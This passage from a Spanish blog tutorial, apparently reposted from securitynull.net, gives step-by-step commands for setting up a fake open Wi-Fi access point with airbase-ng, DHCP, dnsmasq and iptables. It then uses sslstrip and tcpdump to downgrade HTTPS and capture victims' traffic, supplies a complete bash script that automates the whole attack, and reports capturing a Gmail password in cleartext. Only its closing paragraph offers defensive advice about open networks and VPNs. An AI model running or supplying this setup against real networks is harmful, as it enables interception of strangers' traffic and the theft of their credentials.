*Hay varias formas para poner el adaptador en modo monitor pero es recomendable usar airmon-ng ya que este nos crea una nueva interfaz llamada mon0, mon1, mon2…

Paso 4 – Crear punto de acceso wifi falso

Una vez que tengamos nuestro adaptador wifi en modo monitor, creamos el punto de acceso, donde debemos especificar el nombre de la red, el canal wifi a usar y la interfaz en modo monitor (creada anteriormente). Crearemos una red abierta sin contraseña.

0001	airbase-ng -P -C -c --essid

-P: Responde a todos los escaneos de redes wifi.
-C: Especifica cada cuantos segundos se envían beacons para anunciar el nombre de la red.
-c: Canal wifi.
–essid: Nombre de la red.
Por ejemplo:

0001	airbase-ng -P -C 2 -c 6 --essid "Security Null" mon0

*Canal: 6
*Nombre de la red: Security Null
*Interfaz monitor: mon0
Una vez creado el punto de acceso falso, airbase-ng nos habrá creado una nueva interfaz llamada at0 (podemos verificarlo usando el comando ifconfig). Ahora asignamos una dirección IP y máscara de subred a esta nueva interfaz (esta interfaz es por la que pasará todo el tráfico de la red wifi).

0001	ifconfig at0 netmask up

Por ejemplo:

0001	ifconfig at0 192.168.2.1 netmask 255.255.255.0 up

*No usar una dirección IP usada actualmente en vuestra red o no funcionará.

Paso 5 – Configurar e iniciar servidor DHCP

En este momento nuestro punto de acceso seria accesible y visible y nos podríamos conectar pero nos daría error obteniendo dirección IP al no tener un servidor DHCP que nos asigne una dirección IP privada.
Nota: Podemos prescindir de dhcp3-server y usar solo dnsmasq, ya que dnsmasq también tiene las funcionalidades de servidor DHCP. Si prefiere usar solo dnsmasq, ignore este paso y pase al siguiente.
Editamos el archivo:

/etc/dhcp3/dhcpd.conf

Con el siguiente contenido:

ddns-update-style none;
option domain-name-servers 192.168.2.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.50 192.168.2.100;
option routers 192.168.2.1;
option domain-name-servers 192.168.2.1;
}

*Usamos un rango de IPs desde: 192.168.2.50 a 192.168.2.100, con lo cual solo podría haber 50 clientes conectados simultáneamente, es más que suficiente.
Si ya tenemos el servidor DHCP iniciado lo cerramos usando:

0001 0002

killall dhcpd3 /etc/init.d/dhcp3-server stop

Iniciamos el servidor DHCP indicándole el nuevo archivo de configuración (-cf) y la interfaz at0:

0001	dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Paso 6 – Configurar e iniciar servidor DNS

En este momento ya tenemos conectividad con la red wifi falsa pero no podríamos resolver nombres de dominio, para ello editamos el archivo:

/etc/dnsmasq.conf

Con el siguiente contenido:

listen-address=192.168.2.1,127.0.0.1

Si no queremos usar dhcp3-server, ya que dnsmasq también hace de servidor DHCP, en el archivo anteriormente editado (dnsmasq.conf) añadimos al final lo siguiente (si estamos usando dhcp3-server, ignorar esto):

interface=at0
dhcp-range=192.168.2.50,192.168.2.100,255.255.255.0,12h
log-dhcp
dhcp-authoritative

Si ya tenemos el servidor DNS iniciado lo cerramos usando:

0001 0002

killall dnsmasq /etc/init.d/dnsmasq stop

Iniciamos el servidor DNS:

0001	dnsmasq -a 192.168.2.1 -d -i at0 -z -C /etc/dnsmasq.conf -I lo

Paso 7 – Activar ip forward y aplicar reglas para iptables

Es necesario activar ip forward para reenviar paquetes desde una interfaz a otra, podemos activar esta opción de varias formas:

0001	sysctl net.ipv4.ip_forward=1

ó

0001	echo 1 > /proc/sys/net/ipv4/ip_forward

Debemos aplicar unas reglas en iptables para redirigir el tráfico procedente de la red wifi falsa a una interfaz con conexión a Internet.

0001 0002 0003 0004

iptables -t nat -F iptables -t nat -A PREROUTING -i eth0 -j REDIRECT iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

*En este ejemplo hemos usado una conexión a Internet por cable usando la interfaz eth0.
*La última regla es usada para ssltrip, donde le indicamos que redireccione todo el tráfico del puerto 80 al 8080 que será el que usemos en ssltrip.

Paso 8 – Esnifar o capturar tráfico de la red wifi (Opcional)

Opcionalmente podemos usar un esnifer para capturar todo el trafico generado en la red wifi.
Podemos usar tanto wireshark o tcpdump.
tcpdump:

0001	tcpdump -w dump.pcap -i at0

-w: Nombre de la captura.
-i: Interfaz de la cual capturar el tráfico (at0 = Interfaz de nuestro punto de acceso falso).

Paso 9 – Instalar e iniciar SSLTrip

Por último solo nos quedaría instalar ssltrip. Esta herramienta actúa como un servidor proxy y se encarga de detectar cuando un usuario esta accediendo a una web a través de HTTPS y reemplaza HTTPS por HTTP, de esta forma capturamos el tráfico sin cifrar.
*Algunos servidores solo dejan entrar a través de HTTPS, con lo cual puede que no sirva para todos.
Descargamos la herramienta de la web del creador:

http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

Lo descomprimimos y desempaquetamos:

0001	tar -xvzf sslstrip-0.9.tar.gz

Cambiamos de directorio a su carpeta:

0001	cd sslstrip-0.9

Lo instalamos:

0001	python ./setup.py install

Y finalmente lo ejecutamos:

0001	sslstrip -w ../ssl.cap -l 8080

-w: Nombre del archivo donde se guardarán los datos capturados.
-l: Puerto donde escuchará ssltrip.

---

Automatizando el proceso

Para automatizar todo este proceso hemos creado un script en bash que lo realiza todo de forma automática y mucho más rápido:

0001 0002 0003 0004 0005 0006 0007 0008 0009 0010 0011 0012 0013 0014 0015 0016 0017 0018 0019 0020 0021 0022 0023 0024 0025 0026 0027 0028 0029 0030 0031 0032 0033 0034 0035 0036 0037 0038 0039 0040 0041 0042 0043 0044 0045 0046 0047 0048 0049 0050 0051 0052 0053 0054 0055 0056 0057 0058 0059 0060 0061 0062 0063 0064 0065 0066 0067 0068 0069 0070 0071 0072 0073 0074 0075 0076 0077 0078 0079 0080 0081 0082 0083 0084 0085 0086 0087 0088 0089 0090 0091 0092

#!/bin/bash   # Settings wlan_interface="wlan0" interface_monitor="mon0" internet_interface="eth0" essid="SecurityNull" ap_channel=6 network="192.168.2.0" ip="192.168.2.1" mask="255.255.255.0" ip_start="192.168.2.50" ip_end="192.168.2.100"   if [ "$UID" -ne 0 ] then     echo "[!] Require ROOT!!"     exit 0 fi   apt-get update apt-get install dhcp3-server #apt-get install bind9 apt-get install dnsmasq   # Interface Mode Monitor airmon-ng stop $interface_monitor airmon-ng start $wlan_interface sleep 3   # Fake AP killall airbase-ng xterm -e airbase-ng -P -C 2 -c $ap_channel --essid "$essid" $interface_monitor & sleep 3   ifconfig at0 $ip netmask $mask up #ifconfig at0 $ip/24 up   # DHCP Server echo " ddns-update-style none; option domain-name-servers $ip; default-lease-time 60; max-lease-time 72; authoritative; log-facility local7; subnet $network netmask $mask { range $ip_start $ip_end; option routers $ip; option domain-name-servers $ip; } " > /etc/dhcp3/dhcpd.conf killall dhcpd3 /etc/init.d/dhcp3-server stop dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0   # DNS Server echo " listen-address=192.168.2.1,127.0.0.1 #interface=at0 #dhcp-range=$ip_start,$ip_end,$mask,12h #log-dhcp #dhcp-authoritative " > /etc/dnsmasq.conf killall dnsmasq /etc/init.d/dnsmasq stop xterm -e dnsmasq -a $ip -d -i at0 -z -C /etc/dnsmasq.conf -I lo &   #killall bind9 #/etc/init.d/bind9 restart   # IP Routing #sysctl net.ipv4.ip_forward=1 echo 1 > /proc/sys/net/ipv4/ip_forward   # IPTables iptables -t nat -F iptables -t nat -A PREROUTING -i $internet_interface -j REDIRECT iptables -t nat -A POSTROUTING -o $internet_interface -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080   # TCP Dump xterm -e tcpdump -w dump.pcap -i at0 &   # SSL Trip if [ ! -d "sslstrip-0.9" ]; then     wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz     tar -xvzf sslstrip-0.9.tar.gz fi cd sslstrip-0.9 python ./setup.py install sslstrip -w ../ssl.cap -l 8080

*Script desarrollado para Linux Backtrack 5, en Kali fue probado y no funciona, se tendría que modificar para adaptarlo.
Antes de ejecutarlo debemos darle permisos de ejecución:

0001	chmod 755 fakeap.sh

Ejecutamos el script:

0001	./fakeap.sh

*SE NECESITAN PERMISOS ‘ROOT’ PARA SU EJECUCIÓN.
*No requiere de ningún parámetro, para modificar alguna opción se deben modificar las variables del principio del script.
Una vez ejecutado el script se abrirán otras 3 ventanas donde se verán los clientes asociados, la asignación de direcciones IP privadas de DHCP…

FakeAp

---

A esperar…

Ahora solo nos tocaría esperar a que un cliente se conecte…
En la ventana donde tenemos ejecutándose airbase-ng nos aparecerán los clientes asociados.

---

Pruebas

Realizamos una prueba y creamos un punto de acceso falso, donde conectamos a una cuenta de gmail usando HTTPS, podemos ver la captura de ssltrip, y vemos que aparece la contraseña sin cifrar:

Captura SSLTrip

También podemos ver información abriendo la captura con Wireshark:

Wireshark – Análisis

Pero como podemos ver usando herramientas como NetworkMiner, con esta herramienta podemos analizar una captura y extraer información sensible de forma más automatizada que usando Wireshark, como por ejemplo: host a donde nos hemos conectado, archivos e imágenes descargadas, sesiones, credenciales…

NetworkMiner – Hosts

NetworkMiner – Imágenes

De esta forma no solo evitamos el HTTPS sino que obtendríamos contraseñas de redes sociales, páginas visitadas y mucha más información.

---

Conclusión

No existe seguridad al conectarse a redes abiertas (sin contraseña) o con cifrado WEP ya que cualquiera con conocimientos básicos podría estar esnifando el tráfico y ver todo lo que hacemos. Si deseamos estar seguros al conectarnos a este tipo de redes es recomendable usar una VPN como mínimo.
Si realmente te importa tu privacidad, jamás te conectes a una red abierta sin tomar las medidas de protección necesarias, ya que aunque ni siquiera naveguemos en la red, nuestro dispositivo comprueba actualizaciones, el correo electrónico, las redes sociales que tengamos abiertas en segundo plano o incluso si tenemos WhastApp, todo esto realizado de forma automática y quedaría registrado por un atacante.

FUENTES

http://es.wikipedia.org
http://www.thoughtcrime.org
http://safetybits.net

Post original
http://www.securitynull.net/punto-de-acceso-wifi-falso-ssltrip-backtrack-5/comment-page-1/